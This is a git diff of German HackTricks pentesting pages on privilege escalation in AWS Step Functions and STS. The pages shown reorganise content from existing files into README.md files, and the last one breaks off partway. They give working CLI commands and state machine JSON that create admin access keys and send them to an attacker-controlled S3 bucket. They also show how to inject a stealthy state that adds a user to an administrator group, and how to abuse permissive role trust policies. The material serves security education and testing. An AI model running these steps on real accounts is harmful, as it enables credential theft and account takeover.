-Ein Angreifer mit **`states:CreateStateMachine`** & **`iam:PassRole`** wäre in der Lage, eine Zustandsmaschine zu erstellen und ihr jede IAM-Rolle zuzuweisen, was unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rolle ermöglicht. Im Gegensatz zur vorherigen Privilegieneskalationstechnik (**`states:TestState`** & **`iam:PassRole`**) wird diese nicht von selbst ausgeführt; Sie müssen auch die Berechtigungen **`states:StartExecution`** oder **`states:StartSyncExecution`** haben (**`states:StartSyncExecution`** ist **nicht verfügbar für Standard-Workflows**, **nur für Ausdruckszustandsmaschinen**), um eine Ausführung über die Zustandsmaschine zu starten.
-```bash
-# Create a state machine
-aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-
-# Start a state machine execution
-aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-
-# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
-```
-Die folgenden Beispiele zeigen, wie man eine Zustandsmaschine erstellt, die einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt und diesen Zugriffsschlüssel in einen von einem Angreifer kontrollierten S3-Bucket exfiltriert, indem diese Berechtigungen und eine großzügige Rolle der AWS-Umgebung genutzt werden. Diese großzügige Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es der Zustandsmaschine ermöglicht, die Aktionen **`iam:CreateAccessKey`** und **`s3:putObject`** auszuführen.
-
-- **stateMachineDefinition.json**:
-```json
-{
-"Comment": "Malicious state machine to create IAM access key and upload to S3",
-"StartAt": "CreateAccessKey",
-"States": {
-"CreateAccessKey": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"Parameters": {
-"UserName": "admin"
-},
-"ResultPath": "$.AccessKeyResult",
-"Next": "PrepareS3PutObject"
-},
-"PrepareS3PutObject": {
-"Type": "Pass",
-"Parameters": {
-"Body.$": "$.AccessKeyResult.AccessKey",
-"Bucket": "attacker-controlled-S3-bucket",
-"Key": "AccessKey.json"
-},
-"ResultPath": "$.S3PutObjectParams",
-"Next": "PutObject"
-},
-"PutObject": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
-"Parameters": {
-"Body.$": "$.S3PutObjectParams.Body",
-"Bucket.$": "$.S3PutObjectParams.Bucket",
-"Key.$": "$.S3PutObjectParams.Key"
-},
-"End": true
-}
-}
-}
-```
-- **Befehl** ausgeführt, um **die Zustandsmaschine** zu **erstellen**:
-```bash
-aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
-{
-"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
-"creationDate": "2024-07-09T20:29:35.381000+02:00"
-}
-```
-- **Befehl** ausgeführt, um eine **Ausführung** der zuvor erstellten Zustandsmaschine zu **starten**:
-```json
-aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
-{
-"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-"startDate": "2024-07-09T20:33:35.466000+02:00"
-}
-```
-> [!WARNING]
-> Der vom Angreifer kontrollierte S3-Bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion vom Opferkonto zu akzeptieren.
-
-**Potenzielle Auswirkungen**: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
-
-### `states:UpdateStateMachine` & (nicht immer erforderlich) `iam:PassRole`
-
-Ein Angreifer mit der Berechtigung **`states:UpdateStateMachine`** wäre in der Lage, die Definition einer Zustandsmaschine zu ändern und zusätzliche stealthy Zustände hinzuzufügen, die zu einer Privilegieneskalation führen könnten. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der Zustandsmaschine startet, dieser neue bösartige stealth Zustand ausgeführt und die Privilegieneskalation erfolgreich sein.
-
-Je nachdem, wie permissiv die mit der Zustandsmaschine verbundene IAM-Rolle ist, würde ein Angreifer mit 2 Situationen konfrontiert werden:
-
-1. **Permissive IAM-Rolle**: Wenn die mit der Zustandsmaschine verbundene IAM-Rolle bereits permissiv ist (sie hat beispielsweise die angehängte **`arn:aws:iam::aws:policy/AdministratorAccess`**-Richtlinie), dann wäre die Berechtigung **`iam:PassRole`** nicht erforderlich, um Privilegien zu eskalieren, da es nicht notwendig wäre, auch die IAM-Rolle zu aktualisieren; die Definition der Zustandsmaschine wäre ausreichend.
-2. **Nicht permissive IAM-Rolle**: Im Gegensatz zum vorherigen Fall würde ein Angreifer hier auch die Berechtigung **`iam:PassRole`** benötigen, da es notwendig wäre, eine permissive IAM-Rolle mit der Zustandsmaschine zu verknüpfen, zusätzlich zur Änderung der Definition der Zustandsmaschine.
-```bash
-aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-```
-Die folgenden Beispiele zeigen, wie man eine legitime Zustandsmaschine aktualisiert, die nur eine HelloWorld Lambda-Funktion aufruft, um einen zusätzlichen Zustand hinzuzufügen, der den Benutzer **`unprivilegedUser`** zur **`administrator`** IAM-Gruppe hinzufügt. Auf diese Weise wird, wenn ein legitimer Benutzer eine Ausführung der aktualisierten Zustandsmaschine startet, dieser neue bösartige Stealth-Zustand ausgeführt und die Privilegieneskalation wird erfolgreich sein.
-
-> [!WARNING]
-> Wenn die Zustandsmaschine keine permissive IAM-Rolle zugeordnet hat, wäre auch die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren, um eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine mit der **`arn:aws:iam::aws:policy/AdministratorAccess`**-Richtlinie angehängt).
-
-{{#tabs }}
-{{#tab name="Legit State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="Bösartige aktualisierte Zustandsmaschine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "AddUserToGroup"
-},
-"AddUserToGroup": {
-"Type": "Task",
-"Parameters": {
-"GroupName": "administrator",
-"UserName": "unprivilegedUser"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-{{#endtabs }}
-
-- **Befehl** ausgeführt, um **die legitime Zustandsmaschine** zu **aktualisieren**:
-```bash
-aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
-{
-"updateDate": "2024-07-10T20:07:10.294000+02:00",
-"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-}
-```
-**Potenzielle Auswirkungen**: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was potenziell zu erheblichen Sicherheitsverletzungen führen kann.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
new file mode 100644
index 000000000..c591fc58c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -0,0 +1,231 @@
+# AWS - Step Functions Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Für weitere Informationen zu diesem AWS-Service, siehe:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Task-Ressourcen
+
+Diese privilege escalation techniques erfordern die Verwendung einiger AWS Step Functions-Ressourcen, um die gewünschten privilege escalation Aktionen durchzuführen.
+
+Um alle möglichen Aktionen zu prüfen, können Sie in Ihrem eigenen AWS-Konto die Aktion auswählen, die Sie verwenden möchten, und die verwendeten Parameter einsehen, wie z. B.:
+
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
+
+Oder Sie können auch die AWS API-Dokumentation aufrufen und die Dokumentation jeder Aktion prüfen:
+
+- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
+- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
+
+### `states:TestState` & `iam:PassRole`
+
+Ein attacker mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden State testen und jede IAM-Rolle an diesen übergeben, ohne eine vorhandene state machine zu erstellen oder zu aktualisieren, und damit potenziell unautorisierten Zugriff auf andere AWS-Services mit den Berechtigungen der Rolle ermöglichen. Kombiniert können diese Berechtigungen zu umfangreichen unautorisierten Aktionen führen, von der Manipulation von Workflows und der Änderung von Daten bis hin zu Datenverletzungen, Ressourcenmanipulation und privilege escalation.
+```bash
+aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
+```
+Die folgenden Beispiele zeigen, wie man einen State testet, der einen Access Key für den Benutzer **`admin`** erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausgenutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Policy verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die dem State erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen:
+
+- **stateDefinition.json**:
+```json
+{
+"Type": "Task",
+"Parameters": {
+"UserName": "admin"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"End": true
+}
+```
+- **Befehl** ausgeführt, um das privesc durchzuführen:
+```bash
+aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
+
+{
+"output": "{
+\"AccessKey\":{
+\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+\"CreateDate\":\"2024-07-09T16:59:11Z\",
+\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+\"Status\":\"Active\",
+\"UserName\":\"admin\"
+}
+}",
+"status": "SUCCEEDED"
+}
+```
+**Potenzielle Auswirkungen**: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
+
+### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
+
+Ein Angreifer mit den **`states:CreateStateMachine`**- und **`iam:PassRole`**-Rechten könnte eine state machine erstellen und ihr jede beliebige IAM-Rolle zuweisen, wodurch unautorisierter Zugriff auf andere AWS-Services mit den Berechtigungen dieser Rollen möglich würde. Im Gegensatz zur vorherigen Privesc-Technik (**`states:TestState`** & **`iam:PassRole`**) führt sich diese nicht selbst aus; zusätzlich benötigen Sie die Berechtigung **`states:StartExecution`** oder **`states:StartSyncExecution`** (**`states:StartSyncExecution`** ist **nicht available for standard workflows**, **just to express state machines**), um die Ausführung der state machine zu starten.
+```bash
+# Create a state machine
+aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+
+# Start a state machine execution
+aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+
+# Start a Synchronous Express state machine execution
+aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+```
+Die folgenden Beispiele zeigen, wie man eine state machine erstellt, die einen Zugriffsschlüssel für den **`admin`**-Benutzer erzeugt und diesen Zugriffsschlüssel in einen vom Angreifer kontrollierten S3-Bucket exfiltriert, indem sie diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausnutzt. Diese permissive Rolle sollte eine hochprivilegierte Policy zugeordnet haben (z. B. **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es der state machine erlaubt, die Aktionen **`iam:CreateAccessKey`** & **`s3:putObject`** auszuführen.
+
+- **stateMachineDefinition.json**:
+```json
+{
+"Comment": "Malicious state machine to create IAM access key and upload to S3",
+"StartAt": "CreateAccessKey",
+"States": {
+"CreateAccessKey": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"Parameters": {
+"UserName": "admin"
+},
+"ResultPath": "$.AccessKeyResult",
+"Next": "PrepareS3PutObject"
+},
+"PrepareS3PutObject": {
+"Type": "Pass",
+"Parameters": {
+"Body.$": "$.AccessKeyResult.AccessKey",
+"Bucket": "attacker-controlled-S3-bucket",
+"Key": "AccessKey.json"
+},
+"ResultPath": "$.S3PutObjectParams",
+"Next": "PutObject"
+},
+"PutObject": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+"Parameters": {
+"Body.$": "$.S3PutObjectParams.Body",
+"Bucket.$": "$.S3PutObjectParams.Bucket",
+"Key.$": "$.S3PutObjectParams.Key"
+},
+"End": true
+}
+}
+}
+```
+- **Befehl** ausgeführt, um **die Zustandsmaschine zu erstellen**:
+```bash
+aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
+{
+"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+"creationDate": "2024-07-09T20:29:35.381000+02:00"
+}
+```
+- **Befehl** zum Starten einer Ausführung der zuvor erstellten state machine:
+```json
+aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
+{
+"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"startDate": "2024-07-09T20:33:35.466000+02:00"
+}
+```
+> [!WARNING]
+> Der vom Angreifer kontrollierte S3-Bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion aus dem Opferkonto zu akzeptieren.
+
+**Mögliche Auswirkungen**: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensitive Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
+
+### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
+
+Ein Angreifer mit der **`states:UpdateStateMachine`**-Berechtigung könnte die Definition einer state machine ändern und zusätzliche, unauffällige States hinzufügen, die zu einer Privilegieneskalation führen. Wenn ein legitimer Benutzer eine Ausführung der state machine startet, wird dieser neue bösartige, versteckte State ausgeführt und die Privilegieneskalation ist erfolgreich.
+
+Je nachdem, wie permissiv die mit der state machine verknüpfte IAM Role ist, steht der Angreifer vor 2 Situationen:
+
+1. **Permissive IAM Role**: Wenn die IAM Role, die mit der state machine verknüpft ist, bereits sehr weitreichende Rechte besitzt (z. B. die Policy **`arn:aws:iam::aws:policy/AdministratorAccess`** angehängt), dann wäre die **`iam:PassRole`**-Berechtigung nicht erforderlich, um Privilegien zu eskalieren, da es nicht nötig wäre, zusätzlich die IAM Role zu aktualisieren — die Änderung der state machine-Definition reicht aus.
+2. **Not permissive IAM Role**: Im Gegensatz zum vorherigen Fall würde der Angreifer hier zusätzlich die **`iam:PassRole`**-Berechtigung benötigen, da es erforderlich wäre, eine permissive IAM Role der state machine zuzuordnen sowie die state machine-Definition zu ändern.
+```bash
+aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+```
+Die folgenden Beispiele zeigen, wie man eine legitime State Machine, die lediglich eine HelloWorld Lambda-Funktion aufruft, so aktualisiert, dass ein zusätzlicher State hinzugefügt wird, der den Benutzer **`unprivilegedUser`** zur IAM-Gruppe **`administrator`** hinzufügt. Auf diese Weise wird beim Start einer Ausführung der aktualisierten State Machine durch einen legitimen Benutzer dieser neue, bösartige, heimliche State ausgeführt und die Privilegieneskalation gelingt.
+
+> [!WARNING]
+> Wenn die State Machine nicht mit einer permissiven IAM-Rolle verknüpft ist, ist außerdem die Berechtigung **`iam:PassRole`** erforderlich, um die IAM-Rolle zu aktualisieren und eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine Rolle mit der angehängten Richtlinie **`arn:aws:iam::aws:policy/AdministratorAccess`**).
+
+{{#tabs }}
+{{#tab name="Legit State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="Malicious Updated State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "AddUserToGroup"
+},
+"AddUserToGroup": {
+"Type": "Task",
+"Parameters": {
+"GroupName": "administrator",
+"UserName": "unprivilegedUser"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+{{#endtabs }}
+
+- **Befehl** ausgeführt, um **die legitime State Machine** zu **aktualisieren**:
+```bash
+aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
+{
+"updateDate": "2024-07-10T20:07:10.294000+02:00",
+"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+```
+**Potentielle Auswirkungen**: Unbefugte Ausführung und Manipulation von Workflows und Zugriff auf sensible Ressourcen, was möglicherweise zu schwerwiegenden Sicherheitsverletzungen führen kann.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index fa268b9f9..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - STS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-### `sts:AssumeRole`
-
-Jede Rolle wird mit einer **role trust policy** erstellt; diese Policy gibt an, **wer die erstellte Rolle übernehmen kann**. Wenn eine Rolle aus demselben **Account** angibt, dass ein Account sie übernehmen kann, bedeutet das, dass dieser Account Zugriff auf die Rolle (und potenziell **privesc**) erhalten wird.
-
-Zum Beispiel zeigt die folgende role trust policy an, dass jeder sie übernehmen kann; daher kann **jeder Benutzer privesc** auf die mit dieser Rolle verknüpften Berechtigungen durchführen.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-Du kannst die Identität einer laufenden Rolle annehmen:
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-**Potential Impact:** Privesc auf die Rolle.
-
-> [!CAUTION]
-> Beachte, dass in diesem Fall die Berechtigung `sts:AssumeRole` in der **zu missbrauchenden Rolle** angegeben sein muss und nicht in einer Policy, die dem attacker gehört.\
-> Mit einer Ausnahme: Um **eine Rolle aus einem anderen Account zu übernehmen** muss das attacker account **ebenfalls** die **`sts:AssumeRole`** für die Rolle besitzen.
-
-
-### `sts:AssumeRoleWithSAML`
-
-Eine trust policy mit dieser Rolle gewährt **Benutzern, die via SAML authentifiziert sind, Zugriff, die Rolle zu impersonate.**
-
-Ein Beispiel für eine trust policy mit dieser Berechtigung ist:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "OneLogin",
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-},
-"Action": "sts:AssumeRoleWithSAML",
-"Condition": {
-"StringEquals": {
-"SAML:aud": "https://signin.aws.amazon.com/saml"
-}
-}
-}
-]
-}
-```
-Um Anmeldeinformationen zu generieren, um die Rolle zu übernehmen, könntest du im Allgemeinen so etwas verwenden:
-```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
-```
-Aber **Provider** könnten ihre **eigenen Tools** haben, um das zu erleichtern, wie [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-**Mögliche Auswirkungen:** Privesc to the role.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-Diese Berechtigung erlaubt es, ein Set temporärer Sicherheitsanmeldeinformationen für **Benutzer, die in einer mobilen oder Webanwendung, EKS... authentifiziert wurden** mit einem Web-Identity-Provider zu erhalten. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-Zum Beispiel: Wenn ein **EKS service account** in der Lage sein soll, **impersonate an IAM role**, hat es ein Token unter **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** und kann **assume the role and get credentials**, indem es etwa Folgendes ausführt:
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-### Federation Abuse
-
-{{#ref}}
-../aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-### IAM Roles Anywhere Privesc
-
-AWS IAM RolesAnywhere erlaubt Workloads außerhalb von AWS, IAM roles mittels X.509-Zertifikaten zu übernehmen. Werden trust policies jedoch nicht richtig eingeschränkt, können sie für privilege escalation missbraucht werden.
-
-Um diesen Angriff zu verstehen, muss erklärt werden, was ein trust anchor ist. Ein trust anchor in AWS IAM RolesAnywhere ist die root-of-trust-Entität; er enthält das öffentliche Zertifikat einer Certificate Authority (CA), die im Account registriert ist, sodass AWS die präsentierten X.509-Zertifikate validieren kann. Wenn das Client-Zertifikat von dieser CA ausgestellt wurde und der trust anchor aktiv ist, erkennt AWS es als gültig.
-
-Außerdem ist ein profile die Konfiguration, die definiert, welche Attribute des X.509-Zertifikats (wie CN, OU oder SAN) in session tags umgewandelt werden, und diese Tags werden später mit den Bedingungen der trust policy verglichen.
-
-Diese policy enthält keine Einschränkungen darüber, welche trust anchor oder Zertifikatattribute erlaubt sind. Infolgedessen kann jedes Zertifikat, das an irgendeinen trust anchor im Account gebunden ist, verwendet werden, um diese role zu assume.
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Service": "rolesanywhere.amazonaws.com"
-},
-"Action": [
-"sts:AssumeRole",
-"sts:SetSourceIdentity",
-"sts:TagSession"
-]
-}
-]
-}
-
-```
-Für privesc wird der `aws_signing_helper` von https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html benötigt.
-
-Anschließend kann der attacker mit einem gültigen Zertifikat in die höher privilegierte Rolle pivoten.
-```bash
-aws_signing_helper credential-process \
---certificate readonly.pem \
---private-key readonly.key \
---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
---role-arn arn:aws:iam::123456789012:role/Admin
-```
-Der Vertrauensanker validiert, dass das Client-`readonly.pem`-Zertifikat von seiner autorisierten CA stammt, und in diesem `readonly.pem`-Zertifikat befindet sich der öffentliche Schlüssel, den AWS verwendet, um zu verifizieren, dass die Signatur mit dem entsprechenden privaten Schlüssel `readonly.key` erstellt wurde.
-
-Das Zertifikat liefert außerdem Attribute (wie CN oder OU), die das `default`-Profil in Tags umwandelt, welche die Vertrauensrichtlinie der Rolle nutzen kann, um zu entscheiden, ob Zugriff gewährt werden soll. Fehlen Bedingungen in der Vertrauensrichtlinie, sind diese Tags nutzlos und Zugriff wird jedem mit einem gültigen Zertifikat gewährt.
-
-Damit dieser Angriff möglich ist, müssen sowohl der Vertrauensanker als auch das `default`-Profil aktiv sein.
-
-### References
-
-- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
new file mode 100644
index 000000000..4cbe28685
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - STS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+Jede Rolle wird mit einer **role trust policy** erstellt; diese Policy gibt an, **wer die erstellte Rolle übernehmen kann**. Wenn eine Rolle aus dem **gleichen Account** angibt, dass ein Account sie übernehmen kann, bedeutet das, dass der Account auf die Rolle zugreifen kann (und möglicherweise **privesc**).
+
+Zum Beispiel zeigt die folgende role trust policy, dass jeder sie übernehmen kann; daher wird **jeder Benutzer in der Lage sein, privesc** zu den mit dieser Rolle verbundenen Berechtigungen durchzuführen.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+Du kannst eine Rolle übernehmen, die ausgeführt wird:
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+**Potentielle Auswirkungen:** Privesc auf die Rolle.
+
+> [!CAUTION]
+> Beachte, dass in diesem Fall die Berechtigung `sts:AssumeRole` in der **Rolle, die missbraucht werden soll**, angegeben sein muss und nicht in einer Policy, die dem Angreifer gehört.\
+> Mit einer Ausnahme: um **eine Rolle aus einem anderen Account zu übernehmen** muss das Angreifer-Konto **ebenfalls** die **`sts:AssumeRole`** für diese Rolle haben.
+
+
+### `sts:AssumeRoleWithSAML`
+
+Eine Trust-Policy für diese Rolle gewährt **SAML-authentifizierten Benutzern Zugriff, die Rolle zu übernehmen.**
+
+Ein Beispiel für eine Trust-Policy mit dieser Berechtigung ist:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
+}
+```
+Um Anmeldeinformationen zu generieren, mit denen Sie die Rolle übernehmen können, könnten Sie allgemein Folgendes verwenden:
+```bash
+aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+```
+Aber **Anbieter** könnten ihre **eigenen Tools** haben, um dies zu erleichtern, wie [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+**Mögliche Auswirkung:** Privesc auf die Rolle.
+
+### `sts:AssumeRoleWithWebIdentity`
+
+Diese Berechtigung erlaubt es, ein Set temporärer Sicherheitsanmeldeinformationen für **Benutzer, die in einer mobilen, Webanwendung, EKS... authentifiziert wurden** von einem Web-Identity-Provider zu erhalten. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
